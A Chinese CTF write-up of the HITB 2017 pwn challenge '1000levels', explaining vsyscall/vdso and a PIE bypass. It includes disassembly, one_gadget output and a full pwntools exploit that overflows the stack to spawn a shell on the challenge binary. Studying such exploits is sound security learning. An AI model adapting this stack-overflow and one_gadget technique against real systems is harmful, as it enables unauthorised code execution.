htib2017 pwn 之 1000levels

前言

最近在安全客上看到一篇文章PIE保护详解和常用bypass手段,里面提到了3种绕过PIE保护机制的方式:partial write泄露地址vdso/vsyscall。由于之前对vdso/vsyscall机制了解的不多,于是花了点时间动手实践,以下是对题目1000levels的简单分析。

1000levels

程序分析

该程序提供的功能如下。

1
2
3
4
5
6
$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:

利用IDA加载程序,通过分析,程序的功能和逻辑很简单,漏洞也很明显:在level()函数中存在一个栈溢出漏洞。

1
2
3
4
5
6
7
8
9
.text:0000000000000ED4 lea     rdi, aQuestionDDAnsw ; "Question: %d * %d = ? Answer:"
.text:0000000000000EDB mov eax, 0
.text:0000000000000EE0 call _printf
.text:0000000000000EE5 lea rax, [rbp+buf]
.text:0000000000000EE9 mov edx, 400h ; nbytes
.text:0000000000000EEE mov rsi, rax ; buf
.text:0000000000000EF1 mov edi, 0 ; fd
.text:0000000000000EF6 call _read ; stack overflow
.text:0000000000000EFB mov [rbp+var_4], eax

查看一下程序开启的保护措施,可以看到启用了NXPIE。因此可以通过栈溢出来覆盖返回地址,但问题是用什么来覆盖返回地址。

1
2
3
4
5
6
gdb-peda$ checksec 
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : Partial

hint()函数中,将system()函数的地址保存在了栈上,但是没办法进行泄露,在程序的其他部分也没发现存在信息泄露的可能。

vsyscall/vdso

vsyscall/vdso是用于加速某些系统调用的两种机制。由于在进行系统调用时,操作系统需要在用户态和内核态间进行切换,传统的int 0x80/iret中断有点慢,IntelAMD分别实现了sysenter/sysexitsyscall/sysret,即所谓的快速系统调用指令,使用它们更快,但同时也带了兼容性的问题。于是Linux实现了vsyscall,程序统一调用vsyscall,具体的选择由内核来决定。

vsyscall用来执行特定的系统调用,减少系统调用的开销。某些系统调用并不会向内核提交参数,而仅仅是向内核请求某个数据,比如gettimeofday(),内核在处理这部分系统调用时可以把系统当前时间写在一个固定的位置,然后通过mmap()映射到用户空间,应用程序直接从该位置读取即可。(内核与用户态程序之间通过mmap()进行数据交换)。

但是由于vsyscall采用固定地址映射的方式,存在一定的安全隐患,这一方式被vdso所改进,其随机映射在一定程度上缓解了安全威胁。但考虑到兼容性问题(针对一些比较老的应用程序),vsyscallvdso这两种方式可能会同时存在。

vdso全称为Virtual Dynamic Shared Object,可以将其看成是一个虚拟的so文件,由内核提供,但这个so文件不在磁盘上,而是在内核里。内核将包含某个.so的内存页在程序启动时映射到其内存空间,对应的程序就可以当普通的.so来使用其中的函数。比如syscall()函数就是在linux-vdso.so.1里面,但是磁盘上并没有对应的文件。

vsyscallvdso的对比如下:

  • vsyscall方式分配的内存较小,只允许4个系统调用,同时vsyscall页面是静态分配的,地址是固定的;
  • vdso提供与vsyscall相同的功能,同时解决了其局限。vdsoglibc库提供的功能,其页面是动态分配的,地址是随机的,可以提供超过4个系统调用。

gdb中将vsyscall所在页面的内容dump下来,在IDA中进行查看如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
seg000:0000000000000000 seg000      segment byte public 'CODE' use64
seg000:0000000000000000 assume cs:seg000
seg000:0000000000000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:0000000000000000 mov rax, 60h
seg000:0000000000000007 syscall ; Low latency system call
seg000:0000000000000009 retn
seg000:0000000000000009 ; ---------------------------------------------------------------------------
seg000:000000000000000A align 400h
seg000:0000000000000400 mov rax, 0C9h
seg000:0000000000000407 syscall ; Low latency system call
seg000:0000000000000409 retn
seg000:0000000000000409 ; ---------------------------------------------------------------------------
seg000:000000000000040A align 400h
seg000:0000000000000800 mov rax, 135h
seg000:0000000000000807 syscall ; Low latency system call
seg000:0000000000000809 retn
seg000:0000000000000809 ; ---------------------------------------------------------------------------

可以看到其中包含3个系统调用。

1
2
3
#define __NR_gettimeofday 96	//0x60
#define __NR_time 201 //0xc9
#define __NR_getcpu 309 //0x135

前面提到过,vsyscall页面的地址是固定的,这意味着在这个区域有3个可用的gadgets

当直接调用vsyscall中的syscall时,会提示段错误,因为vsyscall执行时会检查是否从函数开头开始执行,所以可以直接利用的地址是从vsyscall起始偏移为0x00x4000x800的地址。

利用思路

在调用hint()函数时,将system()函数的地址保存在了栈上。而在调用go()函数时,system()函数的地址仍然在栈中,因此可通过控制函数流程main()->hint()->main()->go()->level(),结合vsyscall中的gadgets,实现将控制流劫持到栈上保存的system()函数地址处。

在执行main()->hint()->main()->go()->level()时,栈帧的变化如下。

由上图可知,在执行go()函数前,system()函数的地址仍在栈上。但是在go()函数内,其局部变量v5/v6所在的内存空间地址与保存system_ptr的地址相同,因此需要确保该地址出的内容不能被覆盖。之后,go()函数调用level()函数,由于溢出发生在level()函数中,通过控制栈布局并覆盖返回地址,可劫持控制流,从而执行system()函数。

大体的思路如上,但其中还有一些细节需要处理:

  1. 如何确保system_ptr不被覆盖? 由下面的代码可知,保证v2<=0v3=0即可。

    1
    2
    3
    4
    5
    6
    7
    if ( v2 > 0 )
    v5 = v2;
    else
    puts("Coward");
    puts("Any more?");
    v3 = read_num();
    v6 = v5 + v3;
  2. 将控制流劫持到system()函数时,无法控制其参数。system()函数的第一个参数保存在$rdi寄存器中,但在执行strtol()函数后,$rdi寄存器的内容会改变,暂时没有其他方式来控制$rdi寄存器的内容。
    在这种情况下,one_gadget就派上用场了。one_gadgetglibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget,在能够控制eip/rip的时候,用one_gadget来做实现RCE非常方便。利用工具one_gadgetlibc中进行查找,如下。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    $ one_gadget ./libc.so 
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
    rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
    [rsp+0x30] == NULL

    0xf0274 execve("/bin/sh", rsp+0x50, environ)
    constraints:
    [rsp+0x50] == NULL

    0xf1117 execve("/bin/sh", rsp+0x70, environ)
    constraints:
    [rsp+0x70] == NULL

    现在栈上保存的是system()函数的地址system_ptr,由于systemone_gadgetlibc中的偏移是固定的,因此只需要对system_ptr进行加/减操作,即可计算出one_gadget的运行时地址,而程序正好提供了这个功能。

    1
    2
    3
    4
    5
    6
    7
    if ( v2 > 0 )
    v5 = v2;
    else
    puts("Coward");
    puts("Any more?");
    v3 = read_num();
    v6 = v5 + v3;

    由于保存变量v5的地址与保存system_ptr的地址相同,因此只需要控制变量v3的值即可。

  3. 由于计算得到的one_gadget的地址(也就是变量v6的值)大于1000,level()函数会递归调用多次,因此需要答对所有题目,然后在最后一次进行溢出。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    if ( v6 <= 999 )
    {
    v7 = v6;
    }
    else
    {
    puts("More levels than before!");
    v7 = 1000LL;
    }
    puts("Let's go!'");
    v4 = time(0LL);
    if ( (unsigned int)level(v7) != 0 )

完整的利用代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

context(arch='x86_64', os='linux', log_level='debug')

def input_choice(target, choice):
target.recvuntil("Choice:\n")
target.sendline(str(choice))

def input_level(target, level1, level2):
target.recvuntil("How many levels?\n")
target.sendline(str(level1))
target.recvuntil("Any more?\n")
target.sendline(str(level2))

def auto_answer(target, level, last_answer):
for index in xrange(0, level):
target.recvuntil("Question: ")
temp = target.recvuntil("= ?").strip("= ?").strip().split("*")
target.recvuntil("Answer:")
if index == level -1 :
# XXX: use send() instead of sendline()
target.send(last_answer)
else:
target.send(str(int(temp[0]) * int(temp[1])))

LOCAL = 1
DEBUG = 0
image_base = 0x555555554000 # disable ASLR for debug purpose

if LOCAL:
# FIXME: error occurred when run with the provided libc
# target = process('./1000levels_patch', env={'LD_PRELOAD': './libc.so'})
target = process('./1000levels_patch')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget_offset = 0x4526a # constraints: [$rsp+0x30] = 0
else:
target = remote('127.0.0.1', 1234)
libc = ELF('./libc.so')
one_gadget_offset = 0x4526a # constraints: [$rsp+0x30] = 0

if DEBUG:
pwnlib.gdb.attach(target, 'b *%#x\nc\n' % (image_base + 0xec2))

system_offset = libc.symbols['system']
vsyscall_address = 0xffffffffff600400 # XXX: error occurred when using 0xffffffffff600000

input_choice(target, 2)

input_choice(target, 1)

first_level = -1
second_level = one_gadget_offset - system_offset
input_level(target, first_level, second_level)

payload = '1' * 0x38
payload += p64(vsyscall_address) * 3
auto_answer(target, 1000, payload)

target.interactive()
  1. 由于利用官方提供的libc库无法在本地运行,所以使用了本地的libc库进行测试;
  2. 跳到vsyscall开始处(即偏移0x0)时会报错,于是采用偏移0x400处的地址进行跳转。

相关链接

  • PIE保护详解和常用bypass手段
  • HITB CTF 2017 Pwn题研究
  • VDSO与vsyscall
  • OneGadget

附件下载

1000levels